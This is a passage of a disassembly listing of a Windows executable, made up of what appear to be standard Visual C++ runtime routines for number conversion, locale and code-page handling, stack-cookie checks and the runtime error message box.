ebx jmp short loc_41D8CA ; --------------------------------------------------------------------------- loc_41D945: ; CODE XREF: sub_41D869+9Ej cmp edi, [esi] push dword ptr [esi+0Ch] jl short loc_41D96D xor eax, eax lea edi, [ebp+var_C] stosd stosd stosd or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41D7EE mov ebx, [esi+14h] add ebx, [esi] pop ecx xor eax, eax pop ecx inc eax jmp short loc_41D983 ; --------------------------------------------------------------------------- loc_41D96D: ; CODE XREF: sub_41D869+E1j mov ebx, [esi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add ebx, edi call sub_41D7EE pop ecx pop ecx loc_41D981: ; CODE XREF: sub_41D869+55j xor eax, eax loc_41D983: ; CODE XREF: sub_41D869+64j ; sub_41D869+102j push 1Fh pop ecx sub ecx, [esi+0Ch] mov esi, [esi+10h] shl ebx, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or ebx, ecx or ebx, [ebp+var_C] cmp esi, 40h jnz short loc_41D9B2 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], ebx mov [ecx], edx jmp short loc_41D9BC ; --------------------------------------------------------------------------- loc_41D9B2: ; CODE XREF: sub_41D869+13Aj cmp esi, 20h jnz short loc_41D9BC mov ecx, [ebp+arg_4] mov [ecx], ebx loc_41D9BC: ; CODE XREF: sub_41D869+147j ; sub_41D869+14Cj pop edi pop esi pop ebx leave retn sub_41D869 endp ; =============== S U B R O U T I N E ======================================= sub_41D9C1 proc near ; CODE XREF: sub_41D9ED+2Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_42E220 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41D869 add esp, 0Ch retn sub_41D9C1 endp ; =============== S U B R O U T I N E ======================================= sub_41D9D7 proc near ; CODE XREF: sub_41DA30+2Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_42E238 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41D869 add esp, 0Ch retn sub_41D9D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D9ED proc near ; CODE XREF: sub_419678+12p var_14 = byte ptr -14h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, dword_42DEB8 xor eax, [ebp+4] mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_14] push eax call sub_41E797 push [ebp+arg_0] lea eax, [ebp+var_14] push eax call sub_41D9C1 mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 24h call sub_41A026 leave retn sub_41D9ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA30 proc near ; CODE XREF: sub_419678+2Dp var_14 = byte ptr -14h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, dword_42DEB8 xor eax, [ebp+4] mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_14] push eax call sub_41E797 push [ebp+arg_0] lea eax, [ebp+var_14] push eax call sub_41D9D7 mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 24h call sub_41A026 leave retn sub_41DA30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA73 proc near ; CODE XREF: sub_419781+4Dp ; sub_419891+41p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] mov ecx, [edx+0Ch] push ebx mov ebx, [ebp+arg_4] test ebx, ebx push esi mov esi, [ebp+arg_0] push edi lea edi, [esi+1] mov byte ptr [esi], 30h mov eax, edi jle short loc_41DAB0 mov [ebp+arg_0], ebx xor ebx, ebx loc_41DA96: ; CODE XREF: sub_41DA73+38j mov dl, [ecx] test dl, dl jz short loc_41DAA2 movsx edx, dl inc ecx jmp short loc_41DAA5 ; --------------------------------------------------------------------------- loc_41DAA2: ; CODE XREF: sub_41DA73+27j push 30h pop edx loc_41DAA5: ; CODE XREF: sub_41DA73+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41DA96 mov edx, [ebp+arg_8] loc_41DAB0: ; CODE XREF: sub_41DA73+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_41DAC9 cmp byte ptr [ecx], 35h jl short loc_41DAC9 jmp short loc_41DAC1 ; --------------------------------------------------------------------------- loc_41DABE: ; CODE XREF: sub_41DA73+52j mov byte ptr [eax], 30h loc_41DAC1: ; CODE XREF: sub_41DA73+49j dec eax cmp byte ptr [eax], 39h jz short loc_41DABE inc byte ptr [eax] loc_41DAC9: ; CODE XREF: sub_41DA73+42j ; sub_41DA73+47j cmp byte ptr [esi], 31h jnz short loc_41DAD3 inc dword ptr [edx+4] jmp short loc_41DAE5 ; --------------------------------------------------------------------------- loc_41DAD3: ; CODE XREF: sub_41DA73+59j push edi call sub_4177F0 inc eax push eax push edi push esi call sub_41D050 add esp, 10h loc_41DAE5: ; CODE XREF: sub_41DA73+5Ej pop edi pop esi pop ebx pop ebp retn sub_41DA73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DAEA proc near ; CODE XREF: sub_41DBA4+1Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] push ebx push esi push edi mov edi, 7FFh mov esi, 80000000h mov [ebp+var_4], esi mov ecx, eax shr ecx, 4 and eax, 8000h and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx and eax, 0FFFFFh test ebx, ebx jz short loc_41DB3A cmp ebx, edi jz short loc_41DB33 lea edi, [ecx+3C00h] jmp short loc_41DB5B ; --------------------------------------------------------------------------- loc_41DB33: ; CODE XREF: sub_41DAEA+3Fj mov edi, 7FFFh jmp short loc_41DB5B ; --------------------------------------------------------------------------- loc_41DB3A: ; CODE XREF: sub_41DAEA+3Bj xor ebx, ebx cmp eax, ebx jnz short loc_41DB52 cmp edx, ebx jnz short loc_41DB52 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_41DB9F ; --------------------------------------------------------------------------- loc_41DB52: ; CODE XREF: sub_41DAEA+54j ; sub_41DAEA+58j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_41DB5B: ; CODE XREF: sub_41DAEA+47j ; sub_41DAEA+4Ej mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax or ecx, [ebp+var_4] mov eax, [ebp+arg_0] shl edx, 0Bh test ecx, esi mov [eax+4], ecx mov [eax], edx jnz short loc_41DB96 loc_41DB77: ; CODE XREF: sub_41DAEA+AAj mov ecx, [eax] mov edx, [eax+4] mov ebx, ecx shl edx, 1 shr ebx, 1Fh or edx, ebx add ecx, ecx add edi, 0FFFFh test edx, esi mov [eax+4], edx mov [eax], ecx jz short loc_41DB77 loc_41DB96: ; CODE XREF: sub_41DAEA+8Bj mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_41DB9F: ; CODE XREF: sub_41DAEA+66j pop edi pop esi pop ebx leave retn sub_41DAEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DBA4 proc near ; CODE XREF: sub_419781+23p ; sub_419891+22p ... var_2C = word ptr -2Ch var_2A = byte ptr -2Ah var_28 = byte ptr -28h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch mov eax, dword_42DEB8 xor eax, [ebp+4] push esi mov [ebp+var_4], eax push edi lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41DAEA pop ecx pop ecx lea eax, [ebp+var_2C] push eax push 0 push 11h sub esp, 0Ch lea esi, [ebp+var_10] mov edi, esp movsd movsd movsw call sub_41EBD1 mov esi, [ebp+arg_8] mov edi, [ebp+arg_C] mov [esi+8], eax movsx eax, [ebp+var_2A] mov [esi], eax movsx eax, [ebp+var_2C] mov [esi+4], eax lea eax, [ebp+var_28] push eax push edi call sub_419A70 mov ecx, [ebp+var_4] xor ecx, [ebp+4] add esp, 20h mov [esi+0Ch], edi mov eax, esi call sub_41A026 pop edi pop esi leave retn sub_41DBA4 endp ; --------------------------------------------------------------------------- push 2 call sub_4160D0 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_41DC1F proc near ; CODE XREF: sub_41DD3F+Cp xor eax, eax test bl, 1 jz short loc_41DC29 push 10h pop eax loc_41DC29: ; CODE XREF: sub_41DC1F+5j test bl, 4 jz short loc_41DC31 or eax, 8 loc_41DC31: ; CODE XREF: sub_41DC1F+Dj test bl, 8 jz short loc_41DC39 or eax, 4 loc_41DC39: ; CODE XREF: sub_41DC1F+15j test bl, 10h jz short loc_41DC41 or eax, 2 loc_41DC41: ; CODE XREF: sub_41DC1F+1Dj test bl, 20h jz short loc_41DC49 or eax, 1 loc_41DC49: ; CODE XREF: sub_41DC1F+25j test bl, 2 jz short loc_41DC53 or eax, 80000h loc_41DC53: ; CODE XREF: sub_41DC1F+2Dj push ebp movzx edx, bx push esi mov ecx, edx mov esi, 0C00h and ecx, esi push edi mov edi, 300h mov ebp, 200h jz short loc_41DC8F cmp ecx, 400h jz short loc_41DC8A cmp ecx, 800h jz short loc_41DC86 cmp ecx, esi jnz short loc_41DC8F or eax, edi jmp short loc_41DC8F ; --------------------------------------------------------------------------- loc_41DC86: ; CODE XREF: sub_41DC1F+5Dj or eax, ebp jmp short loc_41DC8F ; --------------------------------------------------------------------------- loc_41DC8A: ; CODE XREF: sub_41DC1F+55j or eax, 100h loc_41DC8F: ; CODE XREF: sub_41DC1F+4Dj ; sub_41DC1F+61j ... and edx, edi jz short loc_41DC9E cmp edx, ebp jnz short loc_41DCA3 or eax, 10000h jmp short loc_41DCA3 ; --------------------------------------------------------------------------- loc_41DC9E: ; CODE XREF: sub_41DC1F+72j or eax, 20000h loc_41DCA3: ; CODE XREF: sub_41DC1F+76j ; sub_41DC1F+7Dj test bh, 10h pop edi pop esi pop ebp jz short locret_41DCB0 or eax, 40000h locret_41DCB0: ; CODE XREF: sub_41DC1F+8Aj retn sub_41DC1F endp ; =============== S U B R O U T I N E ======================================= sub_41DCB1 proc near ; CODE XREF: sub_41DD3F+22p xor eax, eax test bl, 10h jz short loc_41DCB9 inc eax loc_41DCB9: ; CODE XREF: sub_41DCB1+5j test bl, 8 jz short loc_41DCC1 or eax, 4 loc_41DCC1: ; CODE XREF: sub_41DCB1+Bj test bl, 4 jz short loc_41DCC9 or eax, 8 loc_41DCC9: ; CODE XREF: sub_41DCB1+13j test bl, 2 jz short loc_41DCD1 or eax, 10h loc_41DCD1: ; CODE XREF: sub_41DCB1+1Bj test bl, 1 jz short loc_41DCD9 or eax, 20h loc_41DCD9: ; CODE XREF: sub_41DCB1+23j test ebx, 80000h jz short loc_41DCE4 or eax, 2 loc_41DCE4: ; CODE XREF: sub_41DCB1+2Ej mov ecx, ebx mov edx, 300h and ecx, edx push esi mov esi, 200h jz short loc_41DD18 cmp ecx, 100h jz short loc_41DD13 cmp ecx, esi jz short loc_41DD0C cmp ecx, edx jnz short loc_41DD18 or eax, 0C00h jmp short loc_41DD18 ; --------------------------------------------------------------------------- loc_41DD0C: ; CODE XREF: sub_41DCB1+4Ej or eax, 800h jmp short loc_41DD18 ; --------------------------------------------------------------------------- loc_41DD13: ; CODE XREF: sub_41DCB1+4Aj or eax, 400h loc_41DD18: ; CODE XREF: sub_41DCB1+42j ; sub_41DCB1+52j ... mov ecx, ebx and ecx, 30000h jz short loc_41DD2E cmp ecx, 10000h jnz short loc_41DD30 or eax, esi jmp short loc_41DD30 ; --------------------------------------------------------------------------- loc_41DD2E: ; CODE XREF: sub_41DCB1+6Fj or eax, edx loc_41DD30: ; CODE XREF: sub_41DCB1+77j ; sub_41DCB1+7Bj test ebx, 40000h pop esi jz short locret_41DD3E or eax, 1000h locret_41DD3E: ; CODE XREF: sub_41DCB1+86j retn sub_41DCB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD3F proc near ; CODE XREF: sub_41DD71+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx fstcw word ptr [ebp+var_4] mov ebx, [ebp+var_4] call sub_41DC1F mov ebx, eax mov eax, [ebp+arg_4] not eax and ebx, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or ebx, eax call sub_41DCB1 mov [ebp+arg_4], eax fldcw word ptr [ebp+arg_4] mov eax, ebx pop ebx leave retn sub_41DD3F endp ; =============== S U B R O U T I N E ======================================= sub_41DD71 proc near ; CODE XREF: sub_4199EA+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41DD3F pop ecx pop ecx retn sub_41DD71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD87 proc near ; CODE XREF: sub_419C39+27Dp ; sub_41C3E0+15Ep ... var_C = byte ptr -0Ch var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_42DEB8 xor eax, [ebp+4] and [ebp+var_6], 0 push 6 mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push 1004h push [ebp+arg_0] call ds:dword_42011C ; GetLocaleInfoA test eax, eax jnz short loc_41DDB9 or eax, 0FFFFFFFFh jmp short loc_41DDC3 ; --------------------------------------------------------------------------- loc_41DDB9: ; CODE XREF: sub_41DD87+2Bj lea eax, [ebp+var_C] push eax call sub_41471A pop ecx loc_41DDC3: ; CODE XREF: sub_41DD87+30j mov ecx, [ebp+var_4] xor ecx, [ebp+4] call sub_41A026 leave retn sub_41DD87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDD0 proc near ; CODE XREF: sub_419C39+2A8p ; sub_419C39+366p ... var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push 38h push offset stru_429AB0 call __SEH_prolog mov eax, dword_42DEB8 xor eax, [ebp+4] mov [ebp+var_1C], eax xor edi, edi mov [ebp+var_20], edi mov [ebp+var_24], edi mov eax, [ebp+arg_C] mov ebx, [eax] mov [ebp+var_28], ebx mov [ebp+var_2C], edi mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jz loc_41DF79 lea ecx, [ebp+var_40] push ecx push eax mov esi, ds:dword_4201B0 call esi ; GetCPInfo test eax, eax jz short loc_41DE37 cmp [ebp+var_40], 1 jnz short loc_41DE37 lea eax, [ebp+var_40] push eax push [ebp+arg_4] call esi ; GetCPInfo test eax, eax jz short loc_41DE37 cmp [ebp+var_40], 1 jnz short loc_41DE37 mov [ebp+var_2C], 1 loc_41DE37: ; CODE XREF: sub_41DDD0+45j ; sub_41DDD0+4Bj ... cmp [ebp+var_2C], edi jz short loc_41DE56 cmp ebx, 0FFFFFFFFh jz short loc_41DE45 mov esi, ebx jmp short loc_41DE51 ; --------------------------------------------------------------------------- loc_41DE45: ; CODE XREF: sub_41DDD0+6Fj push [ebp+arg_8] call sub_4177F0 pop ecx mov esi, eax inc esi loc_41DE51: ; CODE XREF: sub_41DDD0+73j mov [ebp+var_44], esi jmp short loc_41DE59 ; --------------------------------------------------------------------------- loc_41DE56: ; CODE XREF: sub_41DDD0+6Aj mov esi, [ebp+var_44] loc_41DE59: ; CODE XREF: sub_41DDD0+84j cmp [ebp+var_2C], edi jnz short loc_41DE78 push edi push edi push ebx push [ebp+arg_8] push 1 push [ebp+arg_0] call ds:dword_4200D4 ; MultiByteToWideChar mov esi, eax mov [ebp+var_44], esi cmp esi, edi jz short loc_41DED0 loc_41DE78: ; CODE XREF: sub_41DDD0+8Cj mov [ebp+ms_exc.disabled], edi lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov ebx, esp mov [ebp+var_48], ebx lea eax, [esi+esi] push eax push edi push ebx call sub_41C380 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41DEBC ; --------------------------------------------------------------------------- loc_41DEA5: ; DATA XREF: .rdata:stru_429AB0o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41DEA9: ; DATA XREF: .rdata:stru_429AB0o mov esp, [ebp+ms_exc.old_esp] call sub_419B68 xor edi, edi xor ebx, ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh mov esi, [ebp+var_44] loc_41DEBC: ; CODE XREF: sub_41DDD0+D3j cmp ebx, edi jnz short loc_41DEDE push esi push 2 call sub_41C0B0 pop ecx pop ecx mov ebx, eax cmp ebx, edi jnz short loc_41DED7 loc_41DED0: ; CODE XREF: sub_41DDD0+A6j xor eax, eax jmp loc_41DF8B ; --------------------------------------------------------------------------- loc_41DED7: ; CODE XREF: sub_41DDD0+FEj mov [ebp+var_24], 1 loc_41DEDE: ; CODE XREF: sub_41DDD0+EEj push esi push ebx push [ebp+var_28] push [ebp+arg_8] push 1 push [ebp+arg_0] call ds:dword_4200D4 ; MultiByteToWideChar test eax, eax jz loc_41DF7C cmp [ebp+arg_10], edi jz short loc_41DF1E push edi push edi push [ebp+arg_14] push [ebp+arg_10] push esi push ebx push edi push [ebp+arg_4] call ds:dword_4200D8 ; WideCharToMultiByte test eax, eax jz short loc_41DF7C mov eax, [ebp+arg_10] mov [ebp+var_20], eax jmp short loc_41DF7C ; --------------------------------------------------------------------------- loc_41DF1E: ; CODE XREF: sub_41DDD0+12Cj cmp [ebp+var_2C], edi jnz short loc_41DF39 push edi push edi push edi push edi push esi push ebx push edi push [ebp+arg_4] call ds:dword_4200D8 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz short loc_41DF7C loc_41DF39: ; CODE XREF: sub_41DDD0+151j push esi push 1 call sub_41C0B0 pop ecx pop ecx mov [ebp+var_20], eax cmp eax, edi jz short loc_41DF7C push edi push edi push esi push eax push esi push ebx push edi push [ebp+arg_4] call ds:dword_4200D8 ; WideCharToMultiByte cmp eax, edi jnz short loc_41DF6C push [ebp+var_20] call sub_414844 pop ecx mov [ebp+var_20], edi jmp short loc_41DF7C ; --------------------------------------------------------------------------- loc_41DF6C: ; CODE XREF: sub_41DDD0+18Cj cmp [ebp+var_28], 0FFFFFFFFh jz short loc_41DF7C mov ecx, [ebp+arg_C] mov [ecx], eax jmp short loc_41DF7C ; --------------------------------------------------------------------------- loc_41DF79: ; CODE XREF: sub_41DDD0+30j mov ebx, [ebp+var_48] loc_41DF7C: ; CODE XREF: sub_41DDD0+123j ; sub_41DDD0+144j ... cmp [ebp+var_24], edi jz short loc_41DF88 push ebx call sub_414844 pop ecx loc_41DF88: ; CODE XREF: sub_41DDD0+1AFj mov eax, [ebp+var_20] loc_41DF8B: ; CODE XREF: sub_41DDD0+102j lea esp, [ebp-54h] mov ecx, [ebp+var_1C] xor ecx, [ebp+4] call sub_41A026 call __SEH_epilog retn sub_41DDD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DF9F proc near ; DATA XREF: .data:0042B004o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+var_8] push eax call ds:dword_42015C ; GetSystemTimeAsFileTime mov esi, [ebp+var_4] xor esi, [ebp+var_8] call ds:dword_4200F8 ; GetCurrentProcessId xor esi, eax call ds:dword_420174 ; GetCurrentThreadId xor esi, eax call ds:dword_420004 ; GetTickCount xor esi, eax lea eax, [ebp+var_10] push eax call ds:dword_42002C ; QueryPerformanceCounter mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor esi, eax mov dword_42DEB8, esi jnz short loc_41DFF2 mov dword_42DEB8, 0BB40E64Eh loc_41DFF2: ; CODE XREF: sub_41DF9F+47j pop esi leave retn sub_41DF9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DFF5 proc near ; CODE XREF: sub_41A026-1Dp var_140 = dword ptr -140h var_128 = byte ptr -128h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 118h push offset stru_429C60 call __SEH_prolog mov eax, dword_42DEB8 xor eax, [ebp+4] mov [ebp+var_1C], eax mov eax, dword_47C524 xor ecx, ecx cmp eax, ecx jz short loc_41E039 mov [ebp+ms_exc.disabled], ecx push [ebp+arg_4] push [ebp+arg_0] call eax pop ecx pop ecx loc_41E027: ; CODE XREF: sub_41DFF5+42j or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp loc_41E137 ; --------------------------------------------------------------------------- loc_41E030: ; DATA XREF: .rdata:stru_429C60o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41E034: ; DATA XREF: .rdata:stru_429C60o mov esp, [ebp+ms_exc.old_esp] jmp short loc_41E027 ; --------------------------------------------------------------------------- loc_41E039: ; CODE XREF: sub_41DFF5+23j mov eax, [ebp+arg_0] dec eax jz short loc_41E052 mov edi, offset aUnknownSecurit ; "Unknown security failure detected!" mov [ebp+var_20], offset aASecurityError ; "A security error of unknown cause has b"... mov esi, 0D4h jmp short loc_41E063 ; --------------------------------------------------------------------------- loc_41E052: ; CODE XREF: sub_41DFF5+48j mov edi, offset aBufferOverrunD ; "Buffer overrun detected!" mov [ebp+var_20], offset aABufferOverrun ; "A buffer overrun has been detected whic"... mov esi, 0B9h loc_41E063: ; CODE XREF: sub_41DFF5+5Bj mov [ebp+var_24], cl push 104h lea eax, [ebp+var_128] push eax push ecx call ds:dword_420010 ; GetModuleFileNameA test eax, eax jnz short loc_41E090 push offset aProgramNameUnk ; "<program name unknown>" lea eax, [ebp+var_128] push eax call sub_419A70 pop ecx pop ecx loc_41E090: ; CODE XREF: sub_41DFF5+86j lea ebx, [ebp+var_128] lea eax, [ebp+var_128] push eax call sub_4177F0 pop ecx add eax, 0Bh cmp eax, 3Ch jbe short loc_41E0D4 lea eax, [ebp+var_128] push eax call sub_4177F0 mov ebx, eax lea eax, [ebp+var_128] sub eax, 31h add ebx, eax push 3 push offset a___ ; "..." push ebx call sub_4144A0 add esp, 10h loc_41E0D4: ; CODE XREF: sub_41DFF5+B4j push ebx call sub_4177F0 pop ecx lea eax, [eax+esi+0Ch] add eax, 3 and eax, 0FFFFFFFCh call sub_414630 mov [ebp+ms_exc.old_esp], esp mov esi, esp push edi push esi call sub_419A70 mov edi, offset asc_4298C0 ; "\n\n" push edi push esi call sub_419A80 push offset dword_429ABC push esi call sub_419A80 push ebx push esi call sub_419A80 push edi push esi call sub_419A80 push [ebp+var_20] push esi call sub_419A80 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push esi call sub_41E283 add esp, 3Ch loc_41E137: ; CODE XREF: sub_41DFF5+36j push 3 call sub_415ED4 int 3 ; Trap to Debugger loc_41E13F: ; DATA XREF: sub_41E185o ; .data:0042DEBCo push esi mov esi, [esp+148h+var_140] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_41E162 cmp dword ptr [eax+10h], 3 jnz short loc_41E162 cmp dword ptr [eax+14h], 19930520h jnz short loc_41E162 call sub_41A89F loc_41E162: ; CODE XREF: sub_41DFF5+157j ; sub_41DFF5+15Dj ... mov eax, dword_47C528 test eax, eax jz short loc_41E17F push eax call sub_41E1DD test eax, eax pop ecx jz short loc_41E17F push esi call dword_47C528 jmp short loc_41E181 ; --------------------------------------------------------------------------- loc_41E17F: ; CODE XREF: sub_41DFF5+174j ; sub_41DFF5+17Fj xor eax, eax loc_41E181: ; CODE XREF: sub_41DFF5+188j pop esi retn 4 sub_41DFF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E185 proc near ; DATA XREF: .data:0042B01Co push offset loc_41E13F call ds:dword_420144 ; SetUnhandledExceptionFilter mov dword_47C528, eax xor eax, eax retn sub_41E185 endp ; =============== S U B R O U T I N E ======================================= sub_41E198 proc near ; DATA XREF: .data:0042B034o push dword_47C528 call ds:dword_420144 ; SetUnhandledExceptionFilter retn sub_41E198 endp ; =============== S U B R O U T I N E ======================================= sub_41E1A5 proc near ; CODE XREF: sub_41A378+53p ; sub_41A378+8Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] xor esi, esi push [esp+8+arg_0] inc esi call ds:dword_420140 ; IsBadReadPtr test eax, eax jz short loc_41E1BD xor esi, esi loc_41E1BD: ; CODE XREF: sub_41E1A5+14j mov eax, esi pop esi retn sub_41E1A5 endp ; =============== S U B R O U T I N E ======================================= sub_41E1C1 proc near ; CODE XREF: sub_41A378+65p ; sub_41A378+9Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] xor esi, esi push [esp+8+arg_0] inc esi call ds:dword_420194 ; IsBadWritePtr test eax, eax jz short loc_41E1D9 xor esi, esi loc_41E1D9: ; CODE XREF: sub_41E1C1+14j mov eax, esi pop esi retn sub_41E1C1 endp ; =============== S U B R O U T I N E ======================================= sub_41E1DD proc near ; CODE XREF: sub_41A378+128p ; sub_41DFF5+177p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] xor esi, esi inc esi call ds:dword_42013C ; IsBadCodePtr test eax, eax jz short loc_41E1F1 xor esi, esi loc_41E1F1: ; CODE XREF: sub_41E1DD+10j mov eax, esi pop esi retn sub_41E1DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A89F loc_41E1F5: ; CODE XREF: sub_41A89F:loc_41A8CFj push 0Ah call sub_41B3F9 push 16h call sub_41EE93 pop ecx pop ecx push 3 call sub_415ED4 int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_41A89F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E20D proc near ; CODE XREF: sub_41AFFE+7p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset stru_429C70 call __SEH_prolog cmp dword_47C9A0, 3 jnz short loc_41E25C push 4 call sub_4180B5 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_0] push esi call sub_41812E pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_41E24A mov esi, [esi-4] sub esi, 9 mov [ebp+var_20], esi jmp short loc_41E24D ; --------------------------------------------------------------------------- loc_41E24A: ; CODE XREF: sub_41E20D+30j mov esi, [ebp+var_20] loc_41E24D: ; CODE XREF: sub_41E20D+3Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41E27A cmp [ebp+var_1C], 0 jnz short loc_41E26F loc_41E25C: ; CODE XREF: sub_41E20D+13j push [ebp+arg_0] push 0 push dword_47C99C call ds:dword_420138 ; RtlSizeHeap mov esi, eax loc_41E26F: ; CODE XREF: sub_41E20D+4Dj mov eax, esi call __SEH_epilog retn sub_41E20D endp ; =============== S U B R O U T I N E ======================================= sub_41E277 proc near ; DATA XREF: .rdata:stru_429C70o mov esi, [ebp-20h] sub_41E277 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E27A proc near ; CODE XREF: sub_41E20D+44p push 4 call sub_418021 pop ecx retn sub_41E27A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E283 proc near ; CODE XREF: sub_41B3F9+132p ; sub_41DFF5+13Ap var_10 = byte ptr -10h var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_A = byte ptr 12h push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx cmp dword_47C52C, ebx push esi push edi jnz short loc_41E303 push offset aUser32_dll ; "user32.dll" call ds:dword_420088 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_41E33E mov esi, ds:dword_420084 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_47C52C, eax jz short loc_41E33E push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_47C530, eax call esi ; GetProcAddress cmp dword_47C1C4, 2 mov dword_47C534, eax jnz short loc_41E303 push offset aGetuserobjecti ; "GetUserObjectInformationA" push edi call esi ; GetProcAddress test eax, eax mov dword_47C53C, eax jz short loc_41E303 push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi ; GetProcAddress mov dword_47C538, eax loc_41E303: ; CODE XREF: sub_41E283+11j ; sub_41E283+60j ... mov eax, dword_47C538 test eax, eax jz short loc_41E348 call eax test eax, eax jz short loc_41E32F lea ecx, [ebp+var_4] push ecx push 0Ch lea ecx, [ebp+var_10] push ecx push 1 push eax call dword_47C53C test eax, eax jz short 